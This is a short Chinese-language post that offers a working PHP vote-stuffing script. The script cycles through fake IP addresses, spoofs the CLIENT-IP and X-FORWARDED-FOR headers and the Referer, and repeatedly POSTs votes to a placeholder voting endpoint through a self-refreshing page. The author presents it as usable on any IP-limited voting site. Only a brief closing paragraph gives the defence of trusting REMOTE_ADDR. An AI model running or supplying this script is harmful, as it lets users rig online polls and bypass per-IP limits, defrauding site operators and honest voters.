年关了，抛一个模拟ip刷票的php程序

<?php
$ip = $_GET['ip'] ? $_GET['ip'] : '1.1.1.1';
$ipArr = explode(".", $ip);
$ipArr[3] = $ipArr[3] + 1;
if ( $ipArr[3] > 254 )
{
    $ipArr[3] = 1;
    $ipArr[2] = $ipArr[2] + 1;
}
if ( $ipArr[2] > 254 )
{
    $ipArr[2] = 1;
    $ipArr[1] = $ipArr[1] + 1;
}
if ( $ipArr[1] > 254 )
{
    $ipArr[1] = 1;
    $ipArr[0] = $ipArr[0] + 1;
}
if ( $ipArr[0] > 254 )
{
    exit();
}
$ip = implode(".", $ipArr);
// 此处设置投票的id
$post_data = 'vid=8';

// 投票的地址
$url = 'http://www.xxx.com/api.php?m=vote&a=voteto';
$user_agent = "Mozilla/4.0";

$headers['CLIENT-IP'] = $ip;
$headers['X-FORWARDED-FOR'] = $ip;

$headerArr = array();
foreach ( $headers as $n => $v )
{
    $headerArr[] = $n . ':' . $v;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_HTTPHEADER, $headerArr); // 构造IP
curl_setopt($ch, CURLOPT_REFERER, "http://www.baidu.com/ "); // 构造来路
curl_setopt($ch, CURLOPT_HEADER, 1);

curl_setopt($ch, CURLOPT_USERAGENT, $user_agent);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);

ob_start();
curl_exec($ch);
$result = ob_get_contents();
ob_end_clean();

echo $result;
echo '<meta http-equiv="refresh" content="1;url=http://localhost/phpk/post.php?ip=' . $ip . '"> ';
?>

使用范围：所有限制ip地址的投票网站。投票数可到254*254*254*254。

如何防范该类刷票行为：

在获取客户端ip的时候优先使用：

$ip = getenv('REMOTE_ADDR');

用remote_addr可以有效控制模拟ip投票，除非使用代理才能绕过去，但是用web实现代理，速度就很慢了。